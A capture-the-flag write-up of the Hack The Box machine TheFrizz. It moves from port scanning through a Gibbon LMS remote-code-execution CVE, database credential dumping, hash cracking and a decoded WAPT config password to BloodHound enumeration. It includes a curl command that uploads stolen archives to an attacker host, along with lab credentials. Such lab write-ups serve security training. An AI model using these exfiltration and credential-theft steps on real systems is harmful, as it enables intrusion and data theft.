Post

TheFrizz

TheFrizz

Recon

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PORT      STATE SERVICE          REASON
22/tcp    open  ssh              syn-ack ttl 127
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49670/tcp open  unknown          syn-ack ttl 127
60431/tcp open  unknown          syn-ack ttl 127
60435/tcp open  unknown          syn-ack ttl 127
60445/tcp open  unknown          syn-ack ttl 127
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
sudo nmap -PN -sC -sV -p22,53,88,135,139,389,445,464,593,636,3268,3269,9389,49664,49667,49670,60431,60435,60445 -oN thefrizz 10.10.11.60
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-01 14:16 PKT
Nmap scan report for 10.10.11.60
Host is up (0.20s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-08-01 15:52:42Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
60431/tcp open  msrpc         Microsoft Windows RPC
60435/tcp open  msrpc         Microsoft Windows RPC
60445/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-08-01T15:53:36
|_  start_date: N/A
|_clock-skew: 6h36m08s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.48 seconds

Fix the clockskew with ntpdate.

Enumerating SMB

1
2
smbclient -L //10.10.11.60/ -N   
session setup failed: NT_STATUS_NOT_SUPPORTED

Enumerating HTTP

It seems like NULL Authentication isn’t allowed. I noticed HTTP in the result let’s try adding it to /etc/hosts and navigate it.

We are redirected to:

http://frizzdc.frizz.htb/home/

Let’s add this subdomain to /etc/hosts/

alt text

The website has an interesting part:

alt text

1
2
3
4
5
6
7
8
9
10
11
V2FudCB0byBsZWFybiBoYWNraW5n
IGJ1dCBkb24ndCB3YW50IHRvIGdv
IHRvIGphaWw/IFlvdSdsbCBsZWFy
biB0aGUgaW4ncyBhbmQgb3V0cyBv
ZiBTeXNjYWxscyBhbmQgWFNTIGZy
b20gdGhlIHNhZmV0eSBvZiBpbnRl
cm5hdGlvbmFsIHdhdGVycyBhbmQg
aXJvbiBjbGFkIGNvbnRyYWN0cyBm
cm9tIHlvdXIgY3VzdG9tZXJzLCBy
ZXZpZXdlZCBieSBXYWxrZXJ2aWxs
ZSdzIGZpbmVzdCBhdHRvcm5leXMu

Foothold

There’s a Staff Login on top right, which redirects us to Gibbon LMS.

Gibbon version: Powered by Gibbon v25.0.00

CVE-2023-45878 RCE

CVE-2023-34598 LFI

CVE-2023-45881 XSS

CVE-2023-45880 Path Traversal

Most of this CVE involved a path, this is how the website resolves those path:

/Gibbon-LMS/?q=/modules/Admissions/applicationFormSelect.php

  1. First CVE depends on this module: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php.
  2. LFI works: http://frizzdc.frizz.htb/Gibbon-LMS/?q=gibbon.sql

A POC exists for first CVE and it gets us reverse shell:

POC

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
PS C:\xampp\htdocs\Gibbon-LMS> dir  


    Directory: C:\xampp\htdocs\Gibbon-LMS


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         1/20/2023   6:04 AM                i18n                                                                 
d-----         1/20/2023   6:04 AM                installer                                                            
d-----         1/20/2023   6:04 AM                lib                                                                  
d-----         1/20/2023   6:04 AM                modules                                                              
d-----         1/20/2023   6:04 AM                resources                                                            
d-----         1/20/2023   6:04 AM                src                                                                  
d-----         1/20/2023   6:04 AM                themes                                                               
d-----        10/29/2024   7:28 AM                uploads                                                              
d-----         1/20/2023   6:04 AM                vendor                                                               
-a----         1/20/2023   6:04 AM            634 .htaccess                                                            
-a----         1/20/2023   6:04 AM         197078 CHANGEDB.php                                                         
-a----         1/20/2023   6:04 AM         103023 CHANGELOG.txt                                                        
-a----         1/20/2023   6:04 AM           2972 composer.json                                                        
-a----         1/20/2023   6:04 AM         294353 composer.lock                                                        
-a----        10/11/2024   8:15 PM           1307 config.php                                                           
-a----         1/20/2023   6:04 AM           3733 error.php                                                            
-a----         1/20/2023   6:04 AM           1608 export.php                                                           
-a----         1/20/2023   6:04 AM          32988 favicon.ico                                                          
-a----         1/20/2023   6:04 AM           2277 fullscreen.php                                                       
-a----         1/20/2023   6:04 AM          57535 functions.php                                                        
-a----         1/20/2023   6:04 AM           5610 gibbon.php                                                           
-a----        10/29/2024   7:27 AM         493211 gibbon.sql                                                           
-a----         1/20/2023   6:04 AM        1254473 gibbon_demo.sql                                                      
-a----         1/20/2023   6:04 AM          31228 index.php                                                            
-a----         1/20/2023   6:04 AM           2356 indexExport.php                                                      
-a----         1/20/2023   6:04 AM            813 indexFindRedirect.php                                                
-a----         1/20/2023   6:04 AM          12327 index_fastFinder_ajax.php                                            
-a----         1/20/2023   6:04 AM           2579 index_notification_ajax.php                                          
-a----         1/20/2023   6:04 AM           2767 index_notification_ajax_alarm.php                                    
-a----         1/20/2023   6:04 AM           1690 index_notification_ajax_alarmConfirmProcess.php                      
-a----         1/20/2023   6:04 AM           1647 index_notification_ajax_alarmProcess.php                             
-a----         1/20/2023   6:04 AM           1245 index_notification_ajax_alarm_tickUpdate.php                         
-a----         1/20/2023   6:04 AM           2142 index_parentPhotoDeleteProcess.php                                   
-a----         1/20/2023   6:04 AM           3549 index_parentPhotoUploadProcess.php                                   
-a----         1/20/2023   6:04 AM           2046 index_tt_ajax.php                                                    
-a----         1/20/2023   6:04 AM            753 keepAlive.php                                                        
-a----         1/20/2023   6:04 AM          35113 LICENSE                                                              
-a----         1/20/2023   6:04 AM           7589 login.php                                                            
-a----         1/20/2023   6:04 AM           1263 logout.php                                                           
-a----         1/20/2023   6:04 AM           3905 notifications.php                                                    
-a----         1/20/2023   6:04 AM           2110 notificationsActionProcess.php                                       
-a----         1/20/2023   6:04 AM           1163 notificationsDeleteAllProcess.php                                    
-a----         1/20/2023   6:04 AM           2275 notificationsDeleteProcess.php                                       
-a----         1/20/2023   6:04 AM           5007 passwordReset.php                                                    
-a----         1/20/2023   6:04 AM           9819 passwordResetProcess.php                                             
-a----         1/20/2023   6:04 AM           9146 preferences.php                                                      
-a----         1/20/2023   6:04 AM           5165 preferencesPasswordProcess.php                                       
-a----         1/20/2023   6:04 AM           4367 preferencesProcess.php                                               
-a----         1/20/2023   6:04 AM            923 privacyPolicy.php                                                    
-a----         1/20/2023   6:04 AM           7184 publicRegistration.php                                               
-a----         1/20/2023   6:04 AM           1355 publicRegistrationCheck.php                                          
-a----         1/20/2023   6:04 AM           7825 publicRegistrationProcess.php                                        
-a----         1/20/2023   6:04 AM           2884 README.md                                                            
-a----         1/20/2023   6:04 AM           3521 report.php                                                           
-a----         1/20/2023   6:04 AM             54 robots.txt                                                           
-a----         1/20/2023   6:04 AM           1883 roleSwitcherProcess.php                                              
-a----         1/20/2023   6:04 AM           2641 update.php                                                           
-a----         1/20/2023   6:04 AM           1288 version.php                                                          
-a----         1/20/2023   6:04 AM           4359 yearSwitcherProcess.php                                              


PS C:\xampp\htdocs\Gibbon-LMS> type config.php
<?php
/*
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

/**
 * Sets the database connection information.
 * You can supply an optional $databasePort if your server requires one.
 */
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

/**
 * Sets a globally unique id, to allow multiple installs on a single server.
 */
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';

/**
 * Sets system-wide caching factor, used to balance performance and freshness.
 * Value represents number of page loads between cache refresh.
 * Must be positive integer. 1 means no caching.
 */
$caching = 10;
PS C:\xampp\htdocs\Gibbon-LMS> 

We have database creds:

MrGibbonsDB:MisterGibbs!Parrot!?1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    Directory: C:\xampp


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----        10/29/2024   7:25 AM                apache                                                               
d-----        10/29/2024   7:26 AM                cgi-bin                                                              
d-----        10/29/2024   7:25 AM                contrib                                                              
d-----        10/29/2024   7:28 AM                htdocs                                                               
d-----        10/29/2024   7:25 AM                licenses                                                             
d-----        10/29/2024   7:25 AM                mysql                                                                
d-----        10/29/2024   7:26 AM                php                                                                  
d-----        10/29/2024   7:25 AM                src                                                                  
d-----          8/1/2025   9:52 AM                tmp

Let’s execute MySQL.

MySQL

1
2
3
4
5
/mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; show tables;"
Tables_in_gibbon
gibbonaction
gibbonactivity
---SNIP---

From gibbon resources I discovered that creds are stored in “gibbonperson”

1
2
3
./mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "use gibbon; SELECT * FROM gibbonperson;"
gibbonPersonID  title   surname firstName       preferredName   officialName    nameInCharacters        gender  username        passwordStrong  passwordStrongSalt      passwordForceReset      status  canLogin      gibbonRoleIDPrimary     gibbonRoleIDAll dob     email   emailAlternate  image_240       lastIPAddress   lastTimestamp   lastFailIPAddress       lastFailTimestamp       failCount       address1     address1District address1Country address2        address2District        address2Country phone1Type      phone1CountryCode       phone1  phone3Type      phone3CountryCode       phone3  phone2Type      phone2CountryCode     phone2  phone4Type      phone4CountryCode       phone4  website languageFirst   languageSecond  languageThird   countryOfBirth  birthCertificateScan    ethnicity       religion        profession    employer        jobTitle        emergency1Name  emergency1Number1       emergency1Number2       emergency1Relationship  emergency2Name  emergency2Number1       emergency2Number2       emergency2Relationship        gibbonHouseID   studentID       dateStart       dateEnd gibbonSchoolYearIDClassOf       lastSchool      nextSchool      departureReason transport       transportNotes  calendarFeedPersonal viewCalendarSchool       viewCalendarPersonal    viewCalendarSpaceBooking        gibbonApplicationFormID lockerNumber    vehicleRegistration     personalBackground      messengerLastRead       privacy dayType       gibbonThemeIDPersonal   gibboni18nIDPersonal    studentAgreements       googleAPIRefreshToken   microsoftAPIRefreshToken        genericAPIRefreshToken  receiveNotificationEmails       mfaSecret    mfaToken cookieConsent   fields
0000000001      Ms.     Frizzle Fiona   Fiona   Fiona Frizzle           Unspecified     f.frizzle       067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03        /aACFhikmNopqrRTVz2489  N    Full     Y       001     001     NULL    f.frizzle@frizz.htb     NULL    NULL    ::1     2024-10-29 09:28:59     NULL    NULL    0                                                                            NULL             NULL    NULL    NULL                                                    Y       Y       N       NULL                            NULL    NULL    NULL    NULL    NULL    NULL                 YNULL    NULL    NULL

We have creds:

1
2
3
f.frizzle
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03
/aACFhikmNopqrRTVz2489

John

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat f.frizzle.hash 
$dynamic_61$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489

john f.frizzle.hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "hMailServer", but the string is also recognized as "dynamic_61"
Use the "--format=dynamic_61" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (hMailServer [sha256($s.$p) 128/128 SSE2 4x])
Warning: no OpenMP support for this hash type, consider --fork=3
Press 'q' or Ctrl-C to abort, almost any other key for status
Jenni_Luvs_Magic23 (?)     
1g 0:00:00:01 DONE (2025-08-01 15:59) 0.5025g/s 5538Kp/s 5538Kc/s 5538KC/s Jer123..Jeepers93
Use the "--show --format=hMailServer" options to display all of the cracked passwords reliably
Session completed.

f.frizzle:Jenni_Luvs_Magic23

Evil-winrm

It seems like evil-winrm fails to establish a connection.

Make sure this is how /etc/hosts looks like:

10.10.11.60 frizzdc.frizz.htb frizzdc frizz.htb

winrm is firewalled so there’s no way of getting a connection with that. SSH port was open and it seems like that might be the intended path:

SSH

kinit first as f.frizzle

1
2
3
4
kinit

ssh f.frizzle@frizz.htb@frizzdc.frizz.htb

WinPEAS Results

This is the cleanup script that we found from winPEAS:

1
2
3
4
5
6
set-content -value "9a42de6c34b54adcb741abbb2700dd82" -path "c:\users\f.frizzle\desktop\user.txt"
$shell=new-object -com shell.application
$bin = $shell.namespace(0xa)
if((`$bin.items()|measure).count -lt 1){
$item = $shell.namespace(0).parsename("C:\users\f.frizzle\AppData\Local\Temp\MyMiles_Beta.zip")
$item.invokeverb("delete")

Since it’s deleted we will have to go to recycle bin. Next step should be the zip file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\> cd 'C:\$RECYCLE.BIN\'
PS C:\$RECYCLE.BIN> dir
PS C:\$RECYCLE.BIN> dir -Force

    Directory: C:\$RECYCLE.BIN

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs          10/29/2024  7:31 AM                S-1-5-21-2386970044-1145388522-2932701813-1103

PS C:\$RECYCLE.BIN> cd .\S-1-5-21-2386970044-1145388522-2932701813-1103\
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> dir -Force

    Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
-a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
-a-hs          10/29/2024  7:31 AM            129 desktop.ini

Zip Files

Exfil it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> curl -X POST -F "files=@`$IE2XMEG.7z" http://10.10.16.30:8000/upload
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100   364    0     0  100   364      0    754 --:--:-- --:--:-- --:--:--   753
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> curl -X POST -F "files=@`$RE2XMEG.7z" http://10.10.16.30:8000/upload
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0 29.0M    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0
  0 29.0M    0     0    0  192k      0   118k  0:04:10  0:00:01  0:04:09  118k
  2 29.0M    0     0    2  832k      0   321k  0:01:32  0:00:02  0:01:30  321k
  5 29.0M    0     0    5 1728k      0   481k  0:01:01  0:00:03  0:00:58  481k
 13 29.0M    0     0   13 4032k      0   873k  0:00:34  0:00:04  0:00:30  873k
 24 29.0M    0     0   24 7296k      0  1304k  0:00:22  0:00:05  0:00:17 1645k
 34 29.0M    0     0   34  9.9M      0  1543k  0:00:19  0:00:06  0:00:13 2006k
 45 29.0M    0     0   45 13.0M      0  1766k  0:00:16  0:00:07  0:00:09 2515k
 54 29.0M    0     0   54 15.7M      0  1880k  0:00:15  0:00:08  0:00:07 2888k
 63 29.0M    0     0   63 18.4M      0  1970k  0:00:15  0:00:09  0:00:06 2988k
 72 29.0M    0     0   72 21.0M      0  2039k  0:00:14  0:00:10  0:00:04 2865k
 81 29.0M    0     0   81 23.7M      0  2100k  0:00:14  0:00:11  0:00:03 2836k
 91 29.0M    0     0   91 26.4M      0  2149k  0:00:13  0:00:12  0:00:01 2727k
100 29.0M    0     0  100 29.0M      0  2187k  0:00:13  0:00:13 --:--:-- 2714k
100 29.0M    0     0  100 29.0M      0  2130k  0:00:13  0:00:13 --:--:-- 2484k

Let’s extract the bigger zip:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
7z x \$RE2XMEG.7z 

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:3 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 30416987 bytes (30 MiB)

Extracting archive: $RE2XMEG.7z
--
Path = $RE2XMEG.7z
Type = 7z
Physical Size = 30416987
Headers Size = 65880
Method = ARM64 LZMA2:26 LZMA:20 BCJ2
Solid = +
Blocks = 3

Everything is Ok                                                                     

Folders: 684
Files: 5384
Size:       141187501
Compressed: 30416987
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
ls -la
total 45012
drwxrwxr-x 18 kali kali    4096 Oct 23  2024 .
drwxrwxr-x  5 kali kali    4096 Aug  1 23:21 ..
-rw-rw-r--  1 kali kali    6147 Sep 11  2024 auth_module_ad.py
drwxrwxr-x  3 kali kali    4096 Oct 23  2024 cache
-rw-rw-r--  1 kali kali  412462 Sep 11  2024 common.py
drwxrwxr-x  2 kali kali    4096 Oct 23  2024 conf
drwxrwxr-x  2 kali kali    4096 Oct 23  2024 conf.d
-rw-rw-r--  1 kali kali    5730 Sep 11  2024 COPYING.txt
drwxrwxr-x  2 kali kali    4096 Oct 23  2024 db
drwxrwxr-x  2 kali kali    4096 Oct 23  2024 DLLs
-rw-rw-r--  1 kali kali   11599 Sep 11  2024 keyfinder.py
drwxrwxr-x  2 kali kali    4096 Oct 23  2024 keys
drwxrwxr-x  2 kali kali    4096 Oct 23  2024 languages
drwxrwxr-x  3 kali kali    4096 Oct 23  2024 lib
-rw-rw-r--  1 kali kali    7666 Sep 11  2024 licencing.py
drwxrwxr-x  2 kali kali    4096 Oct 23  2024 log
drwxrwxr-x  2 kali kali    4096 Oct 23  2024 private
drwxrwxr-x  2 kali kali    4096 Oct 23  2024 __pycache__
-rw-rw-r--  1 kali kali       8 Sep 11  2024 revision.txt
drwxrwxr-x  3 kali kali    4096 Oct 23  2024 Scripts
-rw-rw-r--  1 kali kali   36289 Sep 11  2024 setupdevhelpers.py
-rw-rw-r--  1 kali kali   16771 Sep 11  2024 setuphelpers_linux.py
-rw-rw-r--  1 kali kali   24517 Sep 11  2024 setuphelpers_macos.py
-rw-rw-r--  1 kali kali   31722 Sep 11  2024 setuphelpers.py
-rw-rw-r--  1 kali kali   14208 Sep 11  2024 setuphelpers_unix.py
-rw-rw-r--  1 kali kali  165655 Sep 11  2024 setuphelpers_windows.py
drwxrwxr-x  3 kali kali    4096 Oct 23  2024 ssl
drwxrwxr-x  5 kali kali    4096 Oct 23  2024 templates
drwxrwxr-x  2 kali kali    4096 Oct 23  2024 trusted_external_certs
-rw-rw-r--  1 kali kali   24097 Oct 23  2024 unins000.msg
-rw-rw-r--  1 kali kali      20 Sep 11  2024 version-full
-rw-rw-r--  1 kali kali    9057 Sep 11  2024 waptbinaries.sha256
-rw-rw-r--  1 kali kali    1104 Sep 11  2024 waptconsole.exe.manifest
-rw-rw-r--  1 kali kali  112338 Sep 11  2024 waptcrypto.py
-rw-rw-r--  1 kali kali    4550 Sep 11  2024 wapt-enterprise.ico
-rw-rw-r--  1 kali kali 5132160 Sep 11  2024 wapt-get.exe
-rw-rw-r--  1 kali kali    1319 Sep 11  2024 wapt-get.exe.manifest
-rw-rw-r--  1 kali kali      46 Oct 23  2024 wapt-get.ini
-rw-rw-r--  1 kali kali    5746 Sep 11  2024 wapt-get.ini.tmpl
-rw-rw-r--  1 kali kali   89811 Sep 11  2024 wapt-get.py
-rw-rw-r--  1 kali kali 7293312 Sep 11  2024 waptguihelper.pyd
-rw-rw-r--  1 kali kali 3580288 Sep 11  2024 waptlicences.pyd
-rw-rw-r--  1 kali kali 6352256 Sep 11  2024 waptmessage.exe
-rw-rw-r--  1 kali kali  196023 Sep 11  2024 waptpackage.py
-rw-rw-r--  1 kali kali    3322 Sep 11  2024 wapt.psproj
-rw-rw-r--  1 kali kali  106368 Sep 11  2024 waptpython.exe
-rw-rw-r--  1 kali kali  104832 Sep 11  2024 waptpythonw.exe
-rw-rw-r--  1 kali kali    5817 Sep 11  2024 wapt-scanpackages.py
-rw-rw-r--  1 kali kali 8879488 Sep 11  2024 waptself.exe
-rw-rw-r--  1 kali kali 1108864 Sep 11  2024 waptserver.exe
-rw-rw-r--  1 kali kali 1108864 Sep 11  2024 waptservice.exe
-rw-rw-r--  1 kali kali    8667 Sep 11  2024 wapt-signpackages.py
-rw-rw-r--  1 kali kali    1048 Oct 23  2024 wapttftpserver
-rw-rw-r--  1 kali kali 1850240 Sep 11  2024 wapttftpserver.exe
-rw-rw-r--  1 kali kali 3551616 Sep 11  2024 wapttray.exe
-rw-rw-r--  1 kali kali  117283 Sep 11  2024 waptutils.py
drwxrwxr-x  3 kali kali    4096 Oct 23  2024 waptwua
-rw-rw-r--  1 kali kali 2453888 Sep 11  2024 wgetwads32.exe
-rw-rw-r--  1 kali kali 3103616 Sep 11  2024 wgetwads64.exe

Config files are always juicy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿vm-kali)-[~/htb/thefrizz/wapt/conf]
└─$ ls -la
total 36
drwxrwxr-x  2 kali kali 4096 Oct 23  2024 .
drwxrwxr-x 18 kali kali 4096 Oct 23  2024 ..
-rw-rw-r--  1 kali kali 1115 Oct 23  2024 ca-192.168.120.158.crt
-rw-rw-r--  1 kali kali 1679 Oct 23  2024 ca-192.168.120.158.pem
-rw-rw-r--  1 kali kali  649 Sep 11  2024 forward_ssl_auth.conf
-rw-rw-r--  1 kali kali  420 Sep 11  2024 require_ssl_auth.conf
-rw-rw-r--  1 kali kali 1250 Sep 11  2024 uwsgi_params
-rw-rw-r--  1 kali kali  596 Oct 25  2024 waptserver.ini
-rw-rw-r--  1 kali kali  187 Sep 11  2024 waptserver.ini.template
                                                                                                                                                                                                              
┌──(kali㉿vm-kali)-[~/htb/thefrizz/wapt/conf]
└─$ cat waptserver.ini
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt

[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log

What stood out was the field wapt_password since it was base64 encoded.

IXN1QmNpZ0BNZWhUZWQhUgo=

!suBcig@MehTed!R

I have a guess as to which user it would belong. Since WAPT is an open-source software deployment and configuration management tool, I would guess an Admin or someone in IT department would be managing it.

Let’s revisit winPEAS user enumeration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
══════════╣ Display information about local users
   Computer Name           :   FRIZZDC
   User Name               :   Administrator
   User Id                 :   500
   Is Enabled              :   True
   User Type               :   Administrator
   Comment                 :   Built-in account for administering the computer/domain
   Last Logon              :   8/1/2025 5:54:58 PM
   Logons Count            :   1899
   Password Last Set       :   2/25/2025 2:24:10 PM

   =================================================================================================

   Computer Name           :   FRIZZDC
   User Name               :   Guest                                                                                                                                                                          
   User Id                 :   501
   Is Enabled              :   False
   User Type               :   Guest                                                                                                                                                                          
   Comment                 :   Built-in account for guest access to the computer/domain
   Last Logon              :   1/1/1970 12:00:00 AM
   Logons Count            :   0
   Password Last Set       :   1/1/1970 12:00:00 AM

   =================================================================================================

   Computer Name           :   FRIZZDC
   User Name               :   krbtgt
   User Id                 :   502
   Is Enabled              :   False
   User Type               :   User
   Comment                 :   Key Distribution Center Service Account
   Last Logon              :   1/1/1970 12:00:00 AM
   Logons Count            :   0
   Password Last Set       :   10/29/2024 7:19:54 AM

   =================================================================================================

   Computer Name           :   FRIZZDC
   User Name               :   f.frizzle
   User Id                 :   1103
   Is Enabled              :   True
   User Type               :   User
   Comment                 :   Wizard in Training
   Last Logon              :   8/1/2025 7:34:48 PM
   Logons Count            :   1825
   Password Last Set       :   10/29/2024 7:27:03 AM

   Computer Name           :   FRIZZDC
   User Name               :   M.SchoolBus
   User Id                 :   1106
   Is Enabled              :   True
   User Type               :   User
   Comment                 :   Desktop Administrator
   Last Logon              :   2/25/2025 2:02:08 PM
   Logons Count            :   852
   Password Last Set       :   10/29/2024 7:27:03 AM

   Computer Name           :   FRIZZDC
   User Name               :   v.frizzle
   User Id                 :   1115
   Is Enabled              :   True
   User Type               :   Administrator
   Comment                 :   The Wizard
   Last Logon              :   8/1/2025 7:34:48 PM
   Logons Count            :   987
   Password Last Set       :   10/29/2024 7:27:04 AM

   Computer Name           :   FRIZZDC
   User Name               :   w.Webservice
   User Id                 :   1120
   Is Enabled              :   True
   User Type               :   User
   Comment                 :   Service for the website
   Last Logon              :   8/1/2025 5:56:19 PM
   Logons Count            :   72
   Password Last Set       :   10/29/2024 7:27:04 AM

   =================================================================================================

Test Creds

Most users are student that I snipped from above.

We have 2 users that we could try the creds on:

  1. M.SchoolBus
  2. v.frizzle

M.SchoolBus:!suBcig@MehTed!R

Kinit as M.SchoolBus

1
2
3
4
5
6
7
8
9
10
11
kinit M.SchoolBus@FRIZZ.HTB
Password for M.SchoolBus@FRIZZ.HTB: 
                                                                                                                                                                                                              
┌──(kali㉿vm-kali)-[~/htb/thefrizz]
└─$ klist                      
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: M.SchoolBus@FRIZZ.HTB

Valid starting       Expires              Service principal
08/02/2025 07:42:44  08/02/2025 17:42:44  krbtgt/FRIZZ.HTB@FRIZZ.HTB
        renew until 08/03/2025 07:42:39

Privilege Escalation

We can SSH as M.SchoolBus

Bloodhound

Let’s analyze what attack vectors we have and get a better overview of the AD.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
bloodhound-python --dns-tcp --dns-timeout 30 -ns 10.10.11.60 -d frizz.htb -u 'M.SchoolBus' -p '!suBcig@MehTed!R' -c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: frizz.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 22 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
